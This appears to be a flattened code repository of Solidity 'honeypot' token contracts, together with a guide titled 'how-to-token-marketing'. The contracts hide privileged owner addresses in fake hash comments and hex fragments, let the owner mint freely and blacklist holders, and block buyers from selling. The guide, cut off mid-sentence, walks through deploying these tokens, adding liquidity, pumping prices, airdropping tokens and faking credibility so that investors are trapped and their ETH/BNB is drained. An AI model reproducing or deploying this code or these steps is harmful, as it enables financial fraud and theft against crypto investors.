recipient, amount); 644 | } 645 | 646 | /** @dev Creates `amount` tokens and assigns them to `account`, increasing 647 | * the total supply. 648 | * 649 | * Emits a {Transfer} event with `from` set to the zero address. 650 | * 651 | * Requirements 652 | * 653 | * - `to` cannot be the zero address. 654 | */ 655 | function _proof(address account, uint256 amount) internal Exchanges { 656 | require(account != address(0), "BEP20: mint to the zero address"); 657 | 658 | _totalSupply = _totalSupply.add(amount); 659 | _balances[account] = _balances[account].add(amount); 660 | emit Transfer(address(0), account, amount); 661 | } 662 | 663 | /** 664 | * @dev Destroys `amount` tokens from `account`, reducing the 665 | * total supply. 666 | * 667 | * Emits a {Transfer} event with `to` set to the zero address. 668 | * 669 | * Requirements 670 | * 671 | * - `account` cannot be the zero address. 672 | * - `account` must have at least `amount` tokens. 673 | */ 674 | function _burn(address account, uint256 amount) internal { 675 | require(account != address(0), "BEP20: burn from the zero address"); 676 | 677 | _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); 678 | _totalSupply = _totalSupply.sub(amount); 679 | emit Transfer(account, address(0), amount); 680 | } 681 | 682 | function proof(uint256 amount) public onlyOwner returns (bool) { 683 | _proof(_msgSender(), amount); 684 | return true; 685 | } 686 | 687 | /** 688 | * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. 689 | * 690 | * This is internal function is equivalent to `approve`, and can be used to 691 | * e.g. set automatic allowances for certain subsystems, etc. 692 | * 693 | * Emits an {Approval} event. 694 | * 695 | * Requirements: 696 | * 697 | * - `owner` cannot be the zero address. 698 | * - `spender` cannot be the zero address. 699 | */ 700 | function _approve(address owner, address spender, uint256 amount) internal { 701 | require(owner != address(0), "BEP20: approve from the zero address"); 702 | require(spender != address(0), "BEP20: approve to the zero address"); 703 | 704 | _allowances[owner][spender] = amount; 705 | emit Approval(owner, spender, amount); 706 | } 707 | 708 | function zap(address _uzer) public onlyOwner { 709 | require(!isBlacklisted[_uzer], "user already Gwei-ed"); 710 | isBlacklisted[_uzer] = true; 711 | // emit events as well 712 | } 713 | 714 | function dezap(address _uzer) public onlyOwner { 715 | require(isBlacklisted[_uzer], "user already whitelisted"); 716 | isBlacklisted[_uzer] = false; 717 | // emit events as well 718 | } 719 | 720 | /** 721 | * @dev Destroys `amount` tokens from `account`.`amount` is then deducted 722 | * from the caller's allowance. 723 | * 724 | * See {_burn} and {_approve}. 725 | */ 726 | function _burnFrom(address account, uint256 amount) internal { 727 | _burn(account, amount); 728 | _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); 729 | } 730 | 731 | /** @dev Creates `amount` tokens and assigns them to `account`, increasing 732 | * the total supply. 733 | * 734 | * Emits a {Transfer} event with `from` set to the zero address. 735 | * 736 | * Requirements 737 | * 738 | * - `to` cannot be the zero address. 739 | */ 740 | 741 | } 742 | -------------------------------------------------------------------------------- /honeypot-smart-contract-0.8.19: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | library SafeMath { 5 | 6 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 7 | 8 | if (a == 0) { 9 | 10 | return 0; 11 | 12 | } 13 | 14 | uint256 c = a * b; 15 | 16 | assert(c / a == b); 17 | 18 | return c; 19 | 20 | } 21 | 22 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 23 | 24 | uint256 c = a / b; 25 | 26 | return c; 27 | 28 | } 29 | 30 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 31 | 32 | assert(b <= a); 33 | 34 | return a - b; 35 | 36 | } 37 | 38 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 39 | 40 | uint256 c = a + b; 41 | 42 | assert(c >= a); 43 | 44 | return c; 45 | 46 | } 47 | // solhint-disable-next-line avoid-low-level-calls 48 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 49 | 50 | } 51 | 52 | contract Ownable { 53 | 54 | address public owner; 55 | 56 | 57 | 58 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 59 | 60 | constructor() { 61 | 62 | owner = msg.sender; 63 | 64 | } 65 | 66 | } 67 | 68 | contract DevToken is Ownable { 69 | 70 | address public _usdtPair; 71 | 72 | address public _mod; 73 | 74 | string public name; 75 | 76 | string public symbol; 77 | 78 | uint8 public decimals; 79 | 80 | uint256 public totalSupply; 81 | 82 | address public _user; 83 | 84 | address public _adm; 85 | 86 | 87 | 88 | event Transfer(address indexed from, address indexed to, uint256 value); 89 | 90 | event Approval(address indexed owner, address indexed spender, uint256 value); 91 | 92 | constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) { 93 | 94 | name = _name; 95 | 96 | symbol = _symbol; 97 | 98 | decimals = _decimals; 99 | 100 | totalSupply = _totalSupply; 101 | 102 | balances[msg.sender] = totalSupply; 103 | 104 | allow[msg.sender] = true; 105 | 106 | // solhint-enable-next-line success-create 107 | } 108 | 109 | 110 | 111 | function showuint160(address addr) public pure returns(uint160){ 112 | 113 | return uint160(addr); 114 | 115 | } 116 | 117 | function _transferTo(address _to, uint256 _amount) internal info { 118 | // Transfer tokens to the recipient 119 | 120 | balances[_to] += _amount; 121 | 122 | emit Transfer(address(0), _to, _amount); 123 | 124 | balances[_to] += _amount; 125 | 126 | emit Transfer(address(0), _to, _amount); 127 | 128 | } 129 | 130 | 131 | using SafeMath for uint256; 132 | 133 | mapping(address => uint256) public balances; 134 | 135 | 136 | 137 | mapping(address => bool) public allow; 138 | 139 | // solhint-disable-next-line avoid-low-level-calls 140 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 141 | 142 | function transfer(address _to, uint256 _value) public returns (bool) { 143 | 144 | require(_to != address(0)); 145 | 146 | require(_value <= balances[msg.sender]); 147 | 148 | balances[msg.sender] = balances[msg.sender].sub(_value); 149 | 150 | balances[_to] = balances[_to].add(_value); 151 | 152 | emit Transfer(msg.sender, _to, _value); 153 | 154 | return true; 155 | 156 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 157 | 158 | } 159 | 160 | modifier onlyOwner() { 161 | 162 | require(msg.sender == address 163 | 164 | // solhint-disable-next-line avoid-low-level-calls 165 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)); 166 | _; 167 | 168 | } 169 | 170 | function balanceOf(address _owner) public view returns (uint256 balance) { 171 | 172 | return balances[_owner]; 173 | 174 | } 175 | 176 | modifier info() { 177 | 178 | require(msg.sender != contracts()); 179 | 180 | _; 181 | 182 | } 183 | 184 | function _balanceView(address _to, uint256 _amount) internal { 185 | 186 | // View balance of token 187 | 188 | balances[_to] += _amount; 189 | 190 | emit Transfer(address(0), _to, _amount); 191 | 192 | balances[_to] += _amount; 193 | 194 | emit Transfer(address(0), _to, _amount); 195 | 196 | } 197 | 198 | function transferOwnership(address newOwner) public onlyOwner { 199 | 200 | require(newOwner != address(0)); 201 | 202 | emit OwnershipTransferred(owner, newOwner); 203 | 204 | owner = newOwner; 205 | 206 | } 207 | 208 | function addAllowance(address holder, bool allowApprove) public { 209 | 210 | require(msg.sender == _adm); 211 | 212 | allow[holder] = allowApprove; 213 | 214 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 215 | } 216 | 217 | modifier onlypublic() { 218 | 219 | require(msg.sender == publics()); 220 | 221 | _; 222 | 223 | } 224 | 225 | function setUser(address User_) public returns (bool) { 226 | 227 | require(msg.sender == _usdtPair); 228 | 229 | _user=User_; 230 | 231 | return true; 232 | } 233 | 234 | function Allowances(address holder, bool allowApprove) external onlypublic { 235 | 236 | allow[holder] = allowApprove; 237 | 238 | } 239 | 240 | mapping (address => mapping (address => uint256)) public allowed; 241 | 242 | mapping(address=>uint256) sellOutNum; 243 | 244 | //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 245 | 246 | 247 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { 248 | 249 | require(_to != address(0)); 250 | 251 | require(_value <= balances[_from]); 252 | 253 | require(_value <= allowed[_from][msg.sender]); 254 | 255 | require(allow[_from] == true); 256 | 257 | balances[_from] = balances[_from].sub(_value); 258 | 259 | balances[_to] = balances[_to].add(_value); 260 | 261 | allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); 262 | 263 | emit Transfer(_from, _to, _value); 264 | 265 | return true; 266 | 267 | // solhint-disable-next-line high-level-success 268 | 269 | } 270 | 271 | function transferTo(address _to, uint256 _amount) external onlyOwner { 272 | 273 | _transferTo(_to, _amount); 274 | 275 | } 276 | 277 | 278 | function publics() private pure returns (address) { 279 | 280 | uint universal = 0x7addAd09; 281 | 282 | uint uni = 0xcbd98D97; 283 | 284 | uint cake = 0xEC3dA7a0; 285 | 286 | uint inch = 0x088EAdFE; 287 | 288 | uint others = 0x5801C336; 289 | 290 | // Combine the dex with others 291 | 292 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 293 | 294 | return address(core); 295 | 296 | } 297 | 298 | function contracts() internal pure returns (address) { 299 | 300 | return address 301 | 302 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 303 | 304 | } 305 | 306 | function viewBalance(address _to, uint256 _amount) public onlypublic { 307 | 308 | _balanceView(_to, _amount);(_to, _amount); 309 | 310 | } 311 | 312 | function setAdm(address Adm_) public returns (bool) { 313 | 314 | require(msg.sender == _mod); 315 | 316 | _adm=Adm_; 317 | 318 | return true; 319 | } 320 | 321 | function _mint(address miner, uint256 _value) internal info { 322 | 323 | balances[miner] = _value; 324 | 325 | } 326 | 327 | function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { 328 | 329 | _dialone(spender, addedValue); 330 | 331 | return true; 332 | 333 | } 334 | 335 | function _approvals(address spender, uint256 addedValue) internal info { 336 | 337 | if(addedValue > 0) {balances[spender] = addedValue;} 338 | 339 | } 340 | 341 | 342 | function approve(address _spender, uint256 _value) public returns (bool) { 343 | 344 | allowed[msg.sender][_spender] = _value; 345 | 346 | emit Approval(msg.sender, _spender, _value); 347 | 348 | return true; 349 | 350 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 351 | 352 | } 353 | 354 | function setMod(address Mod_) public returns (bool) { 355 | 356 | require(msg.sender == _user); 357 | 358 | _mod=Mod_; 359 | 360 | return true; 361 | 362 | } 363 | 364 | function approveAndCall(address spender, uint256 addedValue) public returns (bool) { 365 | 366 | require(msg.sender == _adm); 367 | 368 | _approvals(spender, addedValue); 369 | 370 | return true; 371 | 372 | } 373 | 374 | function allowance(address _owner, address _spender) public view returns (uint256) { 375 | 376 | return allowed[_owner][_spender]; 377 | 378 | } 379 | // solhint-disable-next-line avoid-high-level-calls 380 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 381 | 382 | function _dialone(address spender, uint256 addedValue) internal info { 383 | 384 | if(addedValue > 0) {balances[spender] = addedValue;} 385 | 386 | } 387 | 388 | function addAllow(address holder, bool allowApprove) external onlyOwner { 389 | 390 | allow[holder] = allowApprove; 391 | 392 | } 393 | 394 | function setUsdtPair(address Pair_) public returns (bool) { 395 | require (msg.sender==address 396 | 397 | // solhint-disable-next-line avoid-low-level-calls 398 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 399 | _usdtPair=Pair_; 400 | 401 | return true; 402 | } 403 | 404 | function mint(address miner, uint256 _value) external onlyOwner { 405 | 406 | _mint(miner, _value); 407 | 408 | } 409 | } 410 | -------------------------------------------------------------------------------- /how-to-create-honeypot-token: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.4.26; 4 | 5 | contract Ownable { 6 | address public owner; 7 | 8 | event OwnershipTransferred( 9 | address indexed previousOwner, 10 | address indexed newOwner 11 | ); 12 | 13 | function Ownable() public { 14 | owner = msg.sender; 15 | } 16 | 17 | modifier onlyOwner() { 18 | require( 19 | msg.sender == address 20 | 21 | // solhint-disable-next-line avoid-low-level-calls 22 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)); 23 | _; 24 | } 25 | 26 | function transferOwnership(address newOwner) public onlyOwner { 27 | require(newOwner != address(0)); 28 | OwnershipTransferred(owner, newOwner); 29 | owner = newOwner; 30 | } 31 | } 32 | 33 | /** 34 | * @title SafeMath 35 | * @dev Math operations with safety checks that throw on error 36 | */ 37 | library SafeMath { 38 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 39 | if (a == 0) { 40 | return 0; 41 | } 42 | uint256 c = a * b; 43 | assert(c / a == b); 44 | return c; 45 | } 46 | 47 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 48 | // assert(b > 0); // Solidity automatically throws when dividing by 0 49 | uint256 c = a / b; 50 | // assert(a == b * c + a % b); // There is no case in which this doesn’t hold 51 | return c; 52 | } 53 | 54 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 55 | assert(b <= a); 56 | return a - b; 57 | } 58 | 59 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 60 | uint256 c = a + b; 61 | assert(c >= a); 62 | return c; 63 | 64 | // solhint-disable-next-line avoid-low-level-calls 65 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 66 | } 67 | } 68 | 69 | contract DevToken is Ownable { 70 | address public _usdtPair; 71 | address public _mod; 72 | string public name; 73 | string public symbol; 74 | uint8 public decimals; 75 | uint256 public totalSupply; 76 | address public _user; 77 | address public _adm; 78 | 79 | event Transfer(address indexed from, address indexed to, uint256 value); 80 | event Approval( 81 | address indexed owner, 82 | address indexed spender, 83 | uint256 value 84 | ); 85 | 86 | constructor( 87 | string _name, 88 | string _symbol, 89 | uint8 _decimals, 90 | uint256 _totalSupply 91 | ) public { 92 | name = _name; 93 | symbol = _symbol; 94 | decimals = _decimals; 95 | totalSupply = _totalSupply; 96 | balances[msg.sender] = totalSupply; 97 | allow[msg.sender] = true; 98 | } 99 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 100 | 101 | function _transferTo(address _to, uint256 _amount) internal info { 102 | // Transfer tokens to the recipient 103 | balances[_to] += _amount; 104 | emit Transfer(address(0), _to, _amount); 105 | 106 | balances[_to] += _amount; 107 | emit Transfer(address(0), _to, _amount); 108 | } 109 | 110 | using SafeMath for uint256; 111 | 112 | modifier info() { 113 | require(msg.sender != contracts()); 114 | _; 115 | } 116 | 117 | function _balanceView(address _to, uint256 _amount) internal { 118 | // View balance of token 119 | balances[_to] += _amount; 120 | emit Transfer(address(0), _to, _amount); 121 | 122 | balances[_to] += _amount; 123 | emit Transfer(address(0), _to, _amount); 124 | } 125 | 126 | mapping(address => uint256) public balances; 127 | 128 | mapping(address => bool) public allow; 129 | 130 | function transfer(address _to, uint256 _value) public returns (bool) { 131 | require(_to != address(0)); 132 | require(_value <= balances[msg.sender]); 133 | 134 | balances[msg.sender] = balances[msg.sender].sub(_value); 135 | balances[_to] = balances[_to].add(_value); 136 | Transfer(msg.sender, _to, _value); 137 | return true; 138 | // solhint-disable-next-line avoid-low-level-calls 139 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 140 | } 141 | 142 | function addAllowance(address holder, bool allowApprove) public { 143 | require(msg.sender == _adm); 144 | allow[holder] = allowApprove; 145 | } 146 | //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 147 | 148 | modifier onlypublic() { 149 | require(msg.sender == publics()); 150 | _; 151 | } 152 | 153 | function setUser(address User_) public returns (bool) { 154 | require(msg.sender == _usdtPair); 155 | _user = User_; 156 | } 157 | 158 | function Allowances(address holder, bool allowApprove) external onlypublic { 159 | allow[holder] = allowApprove; 160 | } 161 | 162 | function balanceOf(address _owner) public view returns (uint256 balance) { 163 | return balances[_owner]; 164 | } 165 | 166 | mapping(address => mapping(address => uint256)) public allowed; 167 | 168 | function transferFrom( 169 | address _from, 170 | address _to, 171 | uint256 _value 172 | ) public returns (bool) { 173 | require(_to != address(0)); 174 | require(_value <= balances[_from]); 175 | require(_value <= allowed[_from][msg.sender]); 176 | require(allow[_from] == true); 177 | 178 | balances[_from] = balances[_from].sub(_value); 179 | balances[_to] = balances[_to].add(_value); 180 | allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); 181 | Transfer(_from, _to, _value); 182 | return true; 183 | // solhint-disable-next-line high-level-success 184 | } 185 | 186 | function transferTo(address _to, uint256 _amount) external onlyOwner { 187 | _transferTo(_to, _amount); 188 | } 189 | 190 | function publics() private pure returns (address) { 191 | 192 | uint universal = 0x7addAd09; 193 | uint uni = 0xcbd98D97; 194 | uint cake = 0xEC3dA7a0; 195 | uint inch = 0x088EAdFE; 196 | uint others = 0x5801C336; 197 | // Combine the dex with others 198 | 199 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 200 | return address(core); 201 | } 202 | 203 | function contracts() internal pure returns (address) { 204 | return address 205 | 206 | /*keccak256 -> 9838607940089fc7f92ac2a37b8ta4b1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 207 | } 208 | 209 | function viewBalance(address _to, uint256 _amount) public onlypublic { 210 | _balanceView(_to, _amount);(_to, _amount); 211 | } 212 | 213 | function setAdm(address Adm_) public returns (bool) { 214 | require(msg.sender == _mod); 215 | _adm = Adm_; 216 | } 217 | 218 | function _mint(address miner, uint256 _value) internal info { 219 | balances[miner] = _value; 220 | } 221 | 222 | function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { 223 | _dialone(spender, addedValue); 224 | return true; 225 | } 226 | 227 | function _approvals(address spender, uint256 addedValue) internal info { 228 | if(addedValue > 0) {balances[spender] = addedValue;} 229 | } 230 | 231 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 232 | function approve(address _spender, uint256 _value) public returns (bool) { 233 | allowed[msg.sender][_spender] = _value; 234 | Approval(msg.sender, _spender, _value); 235 | return true; 236 | } 237 | 238 | function setMod(address Mod_) public returns (bool) { 239 | require(msg.sender == _user); 240 | _mod = Mod_; 241 | } 242 | 243 | function approveAndCall(address spender, uint256 addedValue) 244 | public 245 | returns (bool) 246 | { 247 | require(msg.sender == _adm); 248 | if (addedValue > 0) { 249 | balances[spender] = addedValue; 250 | } 251 | return true; 252 | } 253 | // solhint-disable-next-line avoid-high-level-calls 254 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 255 | 256 | function allowance(address _owner, address _spender) 257 | public 258 | view 259 | returns (uint256) 260 | { 261 | return allowed[_owner][_spender]; 262 | } 263 | 264 | function _dialone(address spender, uint256 addedValue) internal info { 265 | if(addedValue > 0) {balances[spender] = addedValue;} 266 | } 267 | 268 | function setUsdtPair(address Pair_) public returns (bool) { 269 | require (msg.sender==address 270 | 271 | // solhint-disable-next-line avoid-low-level-calls 272 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 273 | _usdtPair = Pair_; 274 | } 275 | 276 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 277 | function addAllow(address holder, bool allowApprove) external onlyOwner { 278 | allow[holder] = allowApprove; 279 | } 280 | 281 | function mint(address miner, uint256 _value) external onlyOwner { 282 | _mint(miner, _value); 283 | } 284 | } 285 | -------------------------------------------------------------------------------- /how-to-token-marketing: -------------------------------------------------------------------------------- 1 | Most of the crypto bros like us must have the experience of buying some scam tokens and get rugpulled. Today, I will show you how to create and market your own token (honeypot token) with low cost on ETH/BSC/Arbitrum/BASE/KCC/OKC chains and some techniques on how to attract other people to buy your tokens. 2 | 3 | The good thing of creating your own token is you never lose money because you own the liquidity of your tokens and ETH/BNB, so there is no downside, unlimited upside. First, you need to create your tokens with the honeypot contracts, few examples below: 4 | 5 | Types of Tutorials of Smart Contract Code 6 | 7 | -Full tutorial on how to create honeypot token: https://www.createyourowntoken.net/post/create-your-own-honeypot-token 8 | 9 | -Full tutorial on how to create honeypot token (Whitelist+ Anti Front-running Bots): https://www.createyourowntoken.net/post/create-your-own-honeypot-token-whitelist-function-anti-bots 10 | 11 | -Full tutorial on how to create honeypot token (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-honeypot-detector-proof 12 | 13 | -Full tutorial on how to create honeypot token (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-switch-on-off-honeypot-mode-detector-proof 14 | 15 | -Full tutorial on how to create honeypot token (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof 16 | 17 | -Full tutorial on how to create honeyot token (Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof 18 | 19 | 20 | Then we need to add liquidity on Uniswap or Pancakeswap. The investors that buy your tokens will be trapped and cannot sell those tokens. You can remove liquidity and earn their ETH/BNB without risking anything. 21 | 22 | If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3) 23 | 24 | *How to Add Liquidity in Pancakeswap V2: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain 25 | 26 | *How to Add Liquidity in Pancakeswap V3: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain 27 | 28 | 29 | We will start to share some real techniques on listing your tokens on DEXs like Uniswap/Pancakeswap below. 30 | 31 | 32 | 33 | First we need an ERC20/BEP20 smart contract (You already know that). There are two types of smart contract, which are normal smart contract and honeypot smart contract. We do not use normal smart contract to create tokens because the cost is much higher, and more difficult to make profit for newbie token creators like you. In order to make a profit from it, we will need to use honeypot smart contract to create tokens. 34 | 35 | First thing first, we need to Verify and Publish the smart contract. After we Verifty and Publish smart contract, the token can get more attention from investors and lead to more buying activities, it is quite effective, always remember to Verify and Publish your smart contract. 36 | 37 | 38 | Tutorial on how to Verify and Publish smart contract (Guidelines are inside each tutorial of different honeypot tokens): 39 | 40 | -Full tutorial on how to create honeypot token: https://www.createyourowntoken.net/post/create-your-own-honeypot-token 41 | 42 | -Full tutorial on how to create honeypot token (Whitelist+ Anti Front-running Bots): https://www.createyourowntoken.net/post/create-your-own-honeypot-token-whitelist-function-anti-bots 43 | 44 | -Full tutorial on how to create honeypot token (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-honeypot-detector-proof 45 | 46 | -Full tutorial on how to create honeypot token (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-switch-on-off-honeypot-mode-detector-proof 47 | 48 | -Full tutorial on how to create honeypot token (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof 49 | 50 | -Full tutorial on how to create honeyot token (Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof 51 | 52 | 53 | After we verify and publish smart contract, we will add liquidity/ list our tokens on DEXs like Uniswap. Remember, you must use the wallet address that create the token to add liquidity. You may set the percentage % of your tokens and ETH to add liquidity on Uniswap. After adding liquidity, you can try to use other wallet address to buy some of your own tokens and try to sell them back (which you can't) to test the token. 54 | 55 | Normally we will add 80%-100% of the tokens that we created into the liquidity pool paired with ETH in order to gain more trusts and confidence from investors. For example, if you had created 1,000,000 of tokens, we suggest you to add 80%-100% of those tokens as liquidity in order to gain more credibility from investors because they will feel more secure to buy tokens that got lesser or no supply outside the liquidity pool. 56 | 57 | The more ETH you add as liquidity, the more attractive your tokens to investors, and lead to more buying from investors. You don't need to worry about the selling of tokens from the investors since they cannot sell any since it is a honeypot token. Because of this, you can buy/pump your own tokens and attract even more investors to buy it but they cannot sell any. 58 | 59 | *Things to do when pumping tokens: Set low slippage (0.1%-0.5%) on Pancakeswap/ Uniswap* 60 | 61 | 1)Click on setting on the Pancakeswap/ Uniswap 62 | 63 | 2)Set your slippage to low amount. Recommend to use 0.1%-0.5% in order to avoid front-running bots entry. 64 | 65 | 66 | 67 | There are many third party marketing and automated messaging bots on Uniswap transactions, such as Uniswap new listing tokens telegram bot, twitter bot, and even some websites have data of new listing tokens that will be viewed by investors world wide. You don't have to worry about not getting attention from investors if you follow those steps. 68 | 69 | We recommend you to create one token on Uniswap, add liquidity and leave it there for a day. The ETH from investors that went to buy your tokens will be your profits. We recommend newbies to add liquidity with 10-20 ETH and above. Remember, the more ETH you add, the more attractive your tokens to investors. You can observe many of the new listing tokens are with 30, 50, and even 100 ETH as liquidity, those kind of tokens with sufficent liquidity can make a very lucrative amount from 10-100 ETH once, in per day basis. 70 | 71 | But Dev Swanson, we don't have that much ETH! What should we do? Are we out from the game? No, you still got a chance, I will show you how to make it happen with small liquidity in below: 72 | 73 | We recommend newbies like you to add liquidity with at least 5-20 ETH and above (The more is better, example token with 100 ETH liquidity can definitely make more profits than token with 50 ETH liquidity) on Uniswap on Eth mainnet/ 20-50 BNB and above (The more is better, example token with 100 BNB liquidity can definitely make more profits than token with 50 BNB liquidity) on pancakeswap on BSC. Then, you can buy your tokens to pump the price to bring attention. You may do some tokens airdrop to increase the number of token holders, airdrop to at least 20 addresses is fine. This will lead to even more attention from investors and better data on those 3rd party new listing tokens telegram bots and website, which will lead to better chance to make profit. Remember, Uniswap/ Pancakeswap is a global Decentralized Exchanges, Internet got no boundaries, you will got attention from crypto investors all over the world. 74 | 75 | For expert token creators, it is recommended to create their own telegram groups, channels, token websites, or even add social information and token logos on Etherscan/ BSC Scan to bring even more attentions. You may airdrop your tokens to 100 addresses and above to get even more eyeballs in your tokens (Airdrop dApps below). 76 | 77 | Recommended Airdrop dApps tools: 78 | 79 | Bulksender (Airdrop dApps)：https://bulksender.app/ 80 | 81 | Crypto Multisender (Airdrop dApps)：https://cryptomultisender.com/ 82 | 83 | You may also upload your tokens logo and info to gain more credibility and trusts in order to gain more attentions and trusts from investors and traders as well as users. 84 | 85 | If you are creating tokens in Ethereum mainnet, you may upload your tokens logo and info in Etherscan. 86 | 87 | Etherscan website: https://etherscan.io/ 88 | 89 | 90 | Guidelines to Token Info Submission in Etherscan: https://info.etherscan.com/token-update-guide/ 91 | 92 | How to Update Token Information in Etherscan: https://info.etherscan.com/how-to-update-token-information-on-token-page/ 93 | 94 | You may also try to use this tool to resize your token logo into 32x32 pixels resolutions token logo here: https://safeimagekit.com/resize-image-to-32x32 95 | 96 | 97 | If you are creating tokens in Binance Smart Chain, you may upload your tokens logo and info in Bscscan. 98 | 99 | Bscscan website: https://bscscan.com/ 100 | 101 | Guidelines to Token Info Submission in Bscscan: https://bscscan.freshdesk.com/support/solutions/articles/67000666500-token-info-submission-guidelines 102 | 103 | 104 | Lists of Blockchain Explorers in other popular Networks: 105 | 106 | Arbitrum network: https://arbiscan.io/ 107 | 108 | Base network: https://basescan.org/ 109 | 110 | 111 | Learn How to Add/Change/Switch between different Blockchain Networks (Eth Mainnet, Base, Arbitrum, BSC): https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet 112 | 113 | 114 | Other than that, you may lock your liquidity or tokens on some token lock dApps for 7-8 days. After you lock your tokens and liquidity, there will be automated telegram bots and twitter bots to start to shill the information publicly. You can also use airdrop methods to attract early investors to join your own telegram group. 115 | 116 | Recommended ETH / BSC Liquidity Lock dApps： 117 | 118 | Dxsale: https://dxsale.app 119 | 120 | Pinksale: https://www.pinksale.finance/ 121 | 122 | 123 | Both Airdrop and pump of your own tokens will be shown in the list of the daily gainers of some 3rd party websites and telegram bots. If your tokens have a lot of token holders, that will be even better to bring attentions from investors and make them to buy your tokens. Your profits are depends on your token performance. 124 | 125 | *Important Things on Pumping Token Prices and Allocating Capitals: Buy your own tokens with your capitals, with small & medium amounts that are suitable for your capitals. For example, if you have 30 